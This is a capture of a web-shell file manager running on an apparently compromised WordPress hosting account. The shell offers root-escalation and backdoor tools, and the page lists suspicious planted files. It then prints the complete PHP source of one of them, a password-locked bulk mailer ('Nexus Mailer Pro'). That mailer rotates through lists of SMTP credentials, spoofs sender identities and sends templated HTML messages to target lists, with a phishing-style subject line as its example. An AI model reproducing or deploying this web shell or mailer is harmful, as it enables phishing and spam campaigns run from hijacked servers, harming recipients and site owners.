Linux premium71.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
Server IP : 198.54.125.197 & Your IP : 216.73.216.248
Domains :
Cant Read [ /etc/named.conf ]
User : megaozon
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
megaozon /
megaozon.us /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-01-22 21:54
cgi-bin
[ DIR ]
drwxrwxrwx
2026-05-22 02:59
wp-admin
[ DIR ]
drwxr-xr-x
2026-05-24 03:20
wp-content
[ DIR ]
drwxrwxrwx
2026-05-26 06:16
wp-includes
[ DIR ]
drwxr-xr-x
2026-06-09 03:38
.hcflag
31
B
-rw-r--r--
2026-06-14 04:30
.htaccess
626
B
-r--r--r--
2026-05-26 06:18
.htaccess.bk
626
B
-rw-r--r--
2026-05-24 03:20
.litespeed_flag
297
B
-rw-r--r--
2026-06-15 01:36
error_log
1
MB
-rw-r--r--
2026-06-02 08:08
license.txt
19.44
KB
-rw-r--r--
2026-01-01 05:07
mailxc.php
28.47
KB
-rw-r--r--
2026-05-30 01:35
readme.html
7.23
KB
-rw-r--r--
2026-01-09 16:47
wordpress.zip
16.93
MB
-rw-r--r--
2026-05-21 15:07
wp-activate.php
7.2
KB
-rw-r--r--
2026-02-17 22:05
wp-comments-post.php
2.27
KB
-rw-r--r--
2023-06-14 18:11
wp-conffg.php
127.58
KB
-rw-r--r--
2026-05-21 18:01
wp-config.php
3.75
KB
-rw-r--r--
2026-05-24 03:26
wp-links-opml.php
2.43
KB
-rw-r--r--
2025-04-30 16:52
wp-load.php
3.84
KB
-rw-r--r--
2024-03-11 14:05
wp-login.php
50.63
KB
-rw-r--r--
2026-03-01 03:57
wp-mail.php
8.52
KB
-rw-r--r--
2025-04-03 02:25
wp-settings.php
31.88
KB
-rw-r--r--
2026-05-08 19:59
wp-signup.php
33.81
KB
-rw-r--r--
2026-02-17 22:05
wp-trackback.php
5.09
KB
-rw-r--r--
2025-08-19 16:30
xmlrpc.php
3.13
KB
-rw-r--r--
2024-11-08 20:52
Save
Rename
<?php session_start(); // ========================================== // CONFIGURATION // ========================================== $PANEL_PASSWORD = "xcep"; // Default password, change as needed. // ========================================== // BACKEND API HANDLERS // ========================================== // Handle Login if (isset($_POST['action']) && $_POST['action'] === 'login') { header('Content-Type: application/json'); if ($_POST['password'] === $PANEL_PASSWORD) { $_SESSION['logged_in'] = true; echo json_encode(['status' => 'success']); } else { echo json_encode(['status' => 'error', 'msg' => 'Invalid password']); } exit; } // Check Authentication for API Calls if (isset($_POST['action']) && (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true)) { header('Content-Type: application/json'); echo json_encode(['status' => 'error', 'msg' => 'Unauthorized']); exit; } // Handle Logout if (isset($_GET['logout'])) { session_destroy(); header("Location: ?"); exit; } // Compact SMTP Class class MiniSMTP { private $sock; public function send($host, $port, $user, $pass, $from_email, $from_name, $to, $subject, $body) { $this->sock = @fsockopen(($port == 465 ? "ssl://" : "") . $host, $port, $errno, $errstr, 15); if (!$this->sock) return "Connection failed: $errstr"; stream_set_timeout($this->sock, 15); $this->read(); $this->write("EHLO " . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost')); $this->read(); if ($port == 587) { $this->write("STARTTLS"); $this->read(); $crypto = stream_socket_enable_crypto($this->sock, true, STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT); if (!$crypto) return "TLS setup failed"; $this->write("EHLO " . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost')); $this->read(); } if (!empty($user) && !empty($pass)) { $this->write("AUTH LOGIN"); $this->read(); $this->write(base64_encode($user)); $this->read(); $this->write(base64_encode($pass)); $auth_res = $this->read(); if (substr($auth_res, 0, 3) != '235') return "Auth failed: $auth_res"; } $this->write("MAIL FROM:<$from_email>"); $this->read(); $this->write("RCPT TO:<$to>"); $rcpt_res = $this->read(); if (substr($rcpt_res, 0, 3) != '250') return "RCPT TO failed: $rcpt_res"; $this->write("DATA"); $data_res = $this->read(); if (substr($data_res, 0, 3) != '354') return "DATA failed: $data_res"; $msg_id = "<" . md5(uniqid(microtime(true))) . "@" . explode('@', $from_email)[1] . ">"; $msg = "Date: " . date("r") . "\r\n"; $msg .= "Message-ID: $msg_id\r\n"; $msg .= "From: =?UTF-8?B?".base64_encode($from_name)."?= <$from_email>\r\n"; $msg .= "To: <$to>\r\n"; $msg .= "Subject: =?UTF-8?B?".base64_encode($subject)."?=\r\n"; $msg .= "MIME-Version: 1.0\r\n"; $msg .= "Content-Type: text/html; charset=UTF-8\r\n"; $msg .= "X-Mailer: PHP/" . phpversion() . "\r\n\r\n"; $msg .= $body . "\r\n."; $this->write($msg); $res = $this->read(); $this->write("QUIT"); fclose($this->sock); return substr($res, 0, 3) == '250' ? true : "Delivery Error: $res"; } private function write($data) { fwrite($this->sock, $data . "\r\n"); } private function read() { $res = ""; while ($str = fgets($this->sock, 515)) { $res .= $str; if (substr($str, 3, 1) == " ") break; } return $res; } } // Handle Sending if (isset($_POST['action']) && $_POST['action'] === 'send') { header('Content-Type: application/json'); $to = filter_var($_POST['to'], FILTER_SANITIZE_EMAIL); if (!$to || !filter_var($to, FILTER_VALIDATE_EMAIL)) { echo json_encode(['status' => 'error', 'msg' => 'Invalid email address']); exit; } $send_method = $_POST['send_method'] ?? 'smtp'; if ($send_method === 'php') { // Use PHP mail() function $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; $headers .= "From: =?UTF-8?B?".base64_encode($_POST['from_name'])."?= <".$_POST['from_email'].">\r\n"; $headers .= "X-Mailer: PHP/" . phpversion(); $result = @mail($to, "=?UTF-8?B?".base64_encode($_POST['subject'])."?=", $_POST['body'], $headers); if ($result) { echo json_encode(['status' => 'success']); } else { echo json_encode(['status' => 'error', 'msg' => 'PHP mail() failed on localhost']); } exit; } // Use SMTP $smtp = new MiniSMTP(); $result = $smtp->send( $_POST['host'], $_POST['port'], $_POST['user'], $_POST['pass'], $_POST['from_email'], $_POST['from_name'], $to, $_POST['subject'], $_POST['body'] ); if ($result === true) { echo json_encode(['status' => 'success']); } else { echo json_encode(['status' => 'error', 'msg' => $result]); } exit; } // ========================================== // FRONTEND UI (HTML/CSS/JS) // ========================================== ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Nexus Mailer Pro</title> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet"> <style> :root { --bg-base: #0f1115; --bg-panel: #161920; --bg-input: #1e222b; --border: #2c323f; --accent: #6366f1; --accent-hover: #4f46e5; --text-main: #f8fafc; --text-muted: #94a3b8; --success: #10b981; --error: #ef4444; --font: 'Inter', sans-serif; } * { box-sizing: border-box; margin: 0; padding: 0; } body { font-family: var(--font); background-color: var(--bg-base); color: var(--text-main); line-height: 1.5; height: 100vh; display: flex; flex-direction: column; overflow: hidden; } /* Auth Screen */ .auth-wrapper { display: flex; justify-content: center; align-items: center; height: 100vh; background: radial-gradient(circle at center, #1e222b 0%, var(--bg-base) 100%); } .auth-box { background: var(--bg-panel); padding: 40px; border-radius: 16px; border: 1px solid var(--border); box-shadow: 0 25px 50px -12px rgba(0,0,0,0.5); width: 100%; max-width: 400px; text-align: center; } .auth-box h1 { margin-bottom: 24px; font-weight: 600; font-size: 24px; letter-spacing: -0.5px; } .auth-box input { width: 100%; padding: 14px; background: var(--bg-input); border: 1px solid var(--border); color: #fff; border-radius: 8px; margin-bottom: 20px; font-size: 16px; transition: border 0.3s; } .auth-box input:focus { outline: none; border-color: var(--accent); } .auth-box button { width: 100%; padding: 14px; background: var(--accent); color: #fff; border: none; border-radius: 8px; font-size: 16px; font-weight: 500; cursor: pointer; transition: background 0.3s; } .auth-box button:hover { background: var(--accent-hover); } .auth-error { color: var(--error); margin-bottom: 15px; display: none; font-size: 14px; } /* Main App */ .app-header { display: flex; justify-content: space-between; align-items: center; padding: 20px 30px; background: var(--bg-panel); border-bottom: 1px solid var(--border); } .app-header h1 { font-size: 20px; font-weight: 600; display: flex; align-items: center; gap: 10px; } .app-header h1 span { color: var(--accent); } .logout-btn { padding: 8px 16px; background: transparent; border: 1px solid var(--border); color: var(--text-muted); border-radius: 6px; text-decoration: none; font-size: 14px; transition: all 0.2s; } .logout-btn:hover { border-color: var(--text-main); color: var(--text-main); } .main-container { display: flex; flex: 1; overflow: hidden; padding: 20px; gap: 20px; } .panel { background: var(--bg-panel); border-radius: 12px; border: 1px solid var(--border); display: flex; flex-direction: column; overflow: hidden; } .panel-header { padding: 15px 20px; border-bottom: 1px solid var(--border); font-weight: 600; font-size: 14px; color: var(--text-muted); text-transform: uppercase; letter-spacing: 0.5px; } .panel-body { padding: 20px; overflow-y: auto; flex: 1; } .col-settings { width: 300px; flex-shrink: 0; } .col-content { flex: 1; } .col-list { width: 350px; flex-shrink: 0; } .form-group { margin-bottom: 15px; } .form-group label { display: block; margin-bottom: 6px; font-size: 13px; color: var(--text-muted); } .form-control { width: 100%; padding: 10px 12px; background: var(--bg-input); border: 1px solid var(--border); color: #fff; border-radius: 6px; font-family: var(--font); font-size: 14px; transition: border 0.2s; } .form-control:focus { outline: none; border-color: var(--accent); } select.form-control { appearance: none; background-image: url("data:image/svg+xml;charset=UTF-8,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='none' stroke='%2394a3b8' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'%3e%3cpolyline points='6 9 12 15 18 9'%3e%3c/polyline%3e%3c/svg%3e"); background-repeat: no-repeat; background-position: right 10px center; background-size: 16px; } .grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 10px; } textarea.form-control { resize: vertical; min-height: 100px; } .editor-container { display: flex; flex-direction: column; height: 100%; } #body { flex: 1; resize: none; font-family: monospace; font-size: 13px; line-height: 1.6; } #email_list { flex: 1; resize: none; font-family: monospace; font-size: 13px; white-space: pre; } .btn { display: inline-flex; align-items: center; justify-content: center; padding: 12px 20px; background: var(--accent); color: white; border: none; border-radius: 6px; font-weight: 500; font-size: 14px; cursor: pointer; transition: background 0.2s; width: 100%; } .btn:hover { background: var(--accent-hover); } .btn:disabled { opacity: 0.5; cursor: not-allowed; } .btn-danger { background: var(--error); } .btn-danger:hover { background: #dc2626; } /* Progress & Logs */ .status-board { margin-top: 15px; border-top: 1px solid var(--border); padding-top: 15px; } .stats-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 10px; margin-bottom: 15px; text-align: center; } .stat-box { background: var(--bg-input); padding: 10px; border-radius: 6px; border: 1px solid var(--border); } .stat-value { font-size: 18px; font-weight: 600; } .stat-label { font-size: 11px; color: var(--text-muted); text-transform: uppercase; margin-top: 2px; } .text-success { color: var(--success); } .text-error { color: var(--error); } .text-accent { color: var(--accent); } .progress-container { width: 100%; height: 6px; background: var(--bg-input); border-radius: 3px; overflow: hidden; margin-bottom: 15px; } .progress-bar { height: 100%; background: var(--accent); width: 0%; transition: width 0.3s; } .console-log { flex: 1; background: #000; border: 1px solid var(--border); border-radius: 6px; padding: 10px; overflow-y: auto; font-family: monospace; font-size: 12px; min-height: 150px; max-height: 250px; display: flex; flex-direction: column; } .log-line { margin-bottom: 4px; border-bottom: 1px solid rgba(255,255,255,0.05); padding-bottom: 4px; } .log-success { color: var(--success); } .log-error { color: var(--error); } .log-info { color: var(--text-muted); } .macro-help { font-size: 12px; color: var(--text-muted); margin-top: 10px; padding: 10px; background: var(--bg-input); border-radius: 6px; } .macro-help code { color: var(--accent); font-family: monospace; } /* Loading animation */ .spinner { border: 2px solid rgba(255,255,255,0.1); border-left-color: #fff; border-radius: 50%; width: 16px; height: 16px; animation: spin 1s linear infinite; display: none; margin-right: 8px; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } @media (max-width: 1024px) { .main-container { flex-direction: column; overflow-y: auto; } .col-settings, .col-list { width: 100%; } body { height: auto; overflow-y: auto; } } </style> </head> <body> <?php if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true): ?> <div class="auth-wrapper"> <div class="auth-box"> <h1>Nexus Mailer Pro</h1> <div id="login_error" class="auth-error"></div> <form id="login_form" onsubmit="event.preventDefault(); login();"> <input type="password" id="login_pass" placeholder="Enter Password" required> <button type="submit">Access Panel</button> </form> </div> </div> <script> function login() { const pass = document.getElementById('login_pass').value; const fd = new FormData(); fd.append('action', 'login'); fd.append('password', pass); fetch('', { method: 'POST', body: fd }) .then(res => res.json()) .then(data => { if (data.status === 'success') location.reload(); else { const err = document.getElementById('login_error'); err.innerText = data.msg; err.style.display = 'block'; } }); } </script> <?php else: ?> <header class="app-header"> <h1><span>Nexus</span> Mailer Pro</h1> <a href="?logout=1" class="logout-btn">Log Out</a> </header> <div class="main-container"> <!-- SMTP Settings Column --> <div class="panel col-settings"> <div class="panel-header">Server Configuration</div> <div class="panel-body"> <div class="form-group"> <label>Send Method</label> <select id="send_method" class="form-control" onchange="toggleMethod()"> <option value="smtp">SMTP Server</option> <option value="php">PHP Built-in mail()</option> <option value="multi_smtp">Multi SMTP Rotation</option> </select> </div> <div id="smtp_fields"> <div class="form-group"> <label>SMTP Host</label> <input type="text" id="smtp_host" class="form-control" placeholder="smtp.hostinger.com"> </div> <div class="grid-2"> <div class="form-group"> <label>Port</label> <select id="smtp_port" class="form-control"> <option value="587">587 (TLS)</option> <option value="465">465 (SSL)</option> <option value="25">25 (None)</option> </select> </div> <div class="form-group"> <label>Delay (sec)</label> <input type="number" id="send_delay" class="form-control" value="2" min="0"> </div> </div> <div class="form-group"> <label>Username (Email)</label> <input type="text" id="smtp_user" class="form-control" placeholder="user@domain.com"> </div> <div class="form-group"> <label>Password</label> <input type="password" id="smtp_pass" class="form-control" placeholder="••••••••"> </div> </div> <!-- End of smtp_fields --> <div id="multi_smtp_fields" style="display:none;"> <div class="form-group"> <label>SMTP List (host|port|email|password)</label> <textarea id="multi_smtp_list" class="form-control" placeholder="smtp.host.com|587|user@domain.com|password123"></textarea> </div> </div> <hr style="border:0; border-top:1px solid var(--border); margin: 20px 0;"> <div class="form-group"> <label>Sender Email</label> <input type="text" id="from_email" class="form-control" placeholder="noreply@domain.com" value="support@<?php echo htmlspecialchars($_SERVER['HTTP_HOST'] ?? 'domain.com'); ?>"> </div> <div class="form-group"> <label>Sender Name</label> <input type="text" id="from_name" class="form-control" placeholder="Nexus Support"> </div> </div> </div> <!-- Content Column --> <div class="panel col-content"> <div class="panel-header">Message Layout</div> <div class="panel-body editor-container"> <div class="form-group"> <label>Subject Line</label> <input type="text" id="subject" class="form-control" placeholder="Important notice regarding your account"> </div> <div class="form-group" style="flex: 1; display: flex; flex-direction: column;"> <label>HTML Letter</label> <textarea id="body" class="form-control" placeholder="<h1>Hello {email}</h1>..."></textarea> </div> <div class="macro-help"> <strong>Macros:</strong> <code>{email}</code> = recipient email | <code>{user}</code> = username before @ | <code>{domain}</code> = domain after @ </div> </div> </div> <!-- List & Controls Column --> <div class="panel col-list"> <div class="panel-header">Target & Execution</div> <div class="panel-body" style="display: flex; flex-direction: column;"> <div class="form-group" style="flex: 1; display: flex; flex-direction: column;"> <label>Email List (One per line)</label> <textarea id="email_list" class="form-control" placeholder="user1@example.com user2@example.com"></textarea> </div> <button id="btn_start" class="btn" onclick="startSending()"> <span class="spinner" id="spinner"></span> <span id="btn_text">Start Campaign</span> </button> <button id="btn_stop" class="btn btn-danger" style="display:none; margin-top:10px;" onclick="stopSending()">Stop Sending</button> <div class="status-board"> <div class="stats-grid"> <div class="stat-box"> <div class="stat-value text-accent" id="stat_total">0</div> <div class="stat-label">Total</div> </div> <div class="stat-box"> <div class="stat-value text-success" id="stat_sent">0</div> <div class="stat-label">Sent</div> </div> <div class="stat-box"> <div class="stat-value text-error" id="stat_fail">0</div> <div class="stat-label">Failed</div> </div> </div> <div class="progress-container"> <div class="progress-bar" id="progress_bar"></div> </div> <div class="console-log" id="console_log"> <div class="log-line log-info">System ready. Waiting for campaign start...</div> </div> </div> </div> </div> </div> <script> function toggleMethod() { const method = document.getElementById('send_method').value; document.getElementById('smtp_fields').style.display = method === 'smtp' ? 'block' : 'none'; document.getElementById('multi_smtp_fields').style.display = method === 'multi_smtp' ? 'block' : 'none'; } let isSending = false; let emails = []; let multiSmtpList = []; let smtpRotationIndex = 0; let currentIndex = 0; let sentCount = 0; let failCount = 0; function log(msg, type = 'info') { const con = document.getElementById('console_log'); const time = new Date().toLocaleTimeString('en-US', { hour12: false }); con.innerHTML += `<div class="log-line log-${type}">[${time}] ${msg}</div>`; con.scrollTop = con.scrollHeight; } function updateProgress() { document.getElementById('stat_total').innerText = emails.length; document.getElementById('stat_sent').innerText = sentCount; document.getElementById('stat_fail').innerText = failCount; const pct = emails.length > 0 ? ((sentCount + failCount) / emails.length) * 100 : 0; document.getElementById('progress_bar').style.width = pct + '%'; } function stopSending() { isSending = false; document.getElementById('btn_start').style.display = 'inline-flex'; document.getElementById('btn_stop').style.display = 'none'; document.getElementById('spinner').style.display = 'none'; document.getElementById('btn_text').innerText = 'Resume Campaign'; log('Campaign paused by user.', 'info'); } async function startSending() { if (isSending) return; // Gather inputs const send_method = document.getElementById('send_method').value; const host = document.getElementById('smtp_host').value.trim(); const port = document.getElementById('smtp_port').value; const user = document.getElementById('smtp_user').value.trim(); const pass = document.getElementById('smtp_pass').value; const from_email = document.getElementById('from_email').value.trim(); const from_name = document.getElementById('from_name').value.trim(); const subject = document.getElementById('subject').value.trim(); const body = document.getElementById('body').value; const delaySec = parseFloat(document.getElementById('send_delay').value) || 0; // Validation if (!from_email || !subject || !body || (send_method === 'smtp' && !host)) { alert("Please fill in all required fields (Host is required for single SMTP)."); return; } if (send_method === 'multi_smtp') { const rawSmtps = document.getElementById('multi_smtp_list').value; multiSmtpList = rawSmtps.split('\n').map(s => s.trim()).filter(s => s.length > 0); if (multiSmtpList.length === 0) { alert("Please provide at least one SMTP in the Multi SMTP list."); return; } smtpRotationIndex = 0; } // Only parse list if starting fresh if (currentIndex === 0 || currentIndex >= emails.length) { const rawList = document.getElementById('email_list').value; emails = rawList.split('\n').map(e => e.trim()).filter(e => e.includes('@')); if (emails.length === 0) { alert("No valid emails found in list."); return; } currentIndex = 0; sentCount = 0; failCount = 0; document.getElementById('console_log').innerHTML = ''; } isSending = true; document.getElementById('btn_start').style.display = 'none'; document.getElementById('btn_stop').style.display = 'inline-flex'; document.getElementById('spinner').style.display = 'inline-block'; updateProgress(); log(`Campaign started. Total target: ${emails.length}`, 'info'); processNext(send_method, host, port, user, pass, from_email, from_name, subject, body, delaySec); } async function processNext(send_method, host, port, user, pass, from_email, from_name, subjectTpl, bodyTpl, delaySec) { if (!isSending) return; if (currentIndex >= emails.length) { log('Campaign finished.', 'success'); stopSending(); document.getElementById('btn_text').innerText = 'Start New Campaign'; return; } const currentEmail = emails[currentIndex]; // Replace Macros const emailParts = currentEmail.split('@'); const username = emailParts[0] || ''; const domain = emailParts[1] || ''; let finalSubject = subjectTpl.replace(/{email}/gi, currentEmail).replace(/{user}/gi, username).replace(/{domain}/gi, domain); let finalBody = bodyTpl.replace(/{email}/gi, currentEmail).replace(/{user}/gi, username).replace(/{domain}/gi, domain); let reqHost = host; let reqPort = port; let reqUser = user; let reqPass = pass; let reqFromEmail = from_email; let reqSendMethod = send_method; if (send_method === 'multi_smtp') { const smtpLine = multiSmtpList[smtpRotationIndex % multiSmtpList.length]; const parts = smtpLine.split('|'); if (parts.length >= 4) { reqHost = parts[0]; reqPort = parts[1]; reqUser = parts[2]; reqPass = parts[3]; reqFromEmail = parts[2]; // Override sender with SMTP user } smtpRotationIndex++; reqSendMethod = 'smtp'; // Backend processes normally } const fd = new FormData(); fd.append('action', 'send'); fd.append('send_method', reqSendMethod); fd.append('host', reqHost); fd.append('port', reqPort); fd.append('user', reqUser); fd.append('pass', reqPass); fd.append('from_email', reqFromEmail); fd.append('from_name', from_name); fd.append('to', currentEmail); fd.append('subject', finalSubject); fd.append('body', finalBody); log(`Sending to ${currentEmail}...`, 'info'); try { const res = await fetch('', { method: 'POST', body: fd }); const data = await res.json(); if (data.status === 'success') { sentCount++; log(`Success: ${currentEmail}`, 'success'); } else { failCount++; log(`Failed: ${currentEmail} - ${data.msg}`, 'error'); } } catch (err) { failCount++; log(`Network/Server Error for ${currentEmail}`, 'error'); } currentIndex++; updateProgress(); if (isSending && currentIndex < emails.length) { if (delaySec > 0) { log(`Waiting ${delaySec}s...`, 'info'); setTimeout(() => processNext(send_method, host, port, user, pass, from_email, from_name, subjectTpl, bodyTpl, delaySec), delaySec * 1000); } else { processNext(send_method, host, port, user, pass, from_email, from_name, subjectTpl, bodyTpl, delaySec); } } else if (currentIndex >= emails.length) { log('Campaign finished.', 'success'); stopSending(); document.getElementById('btn_text').innerText = 'Start New Campaign'; } } </script> </body> </html> <?php endif; ?>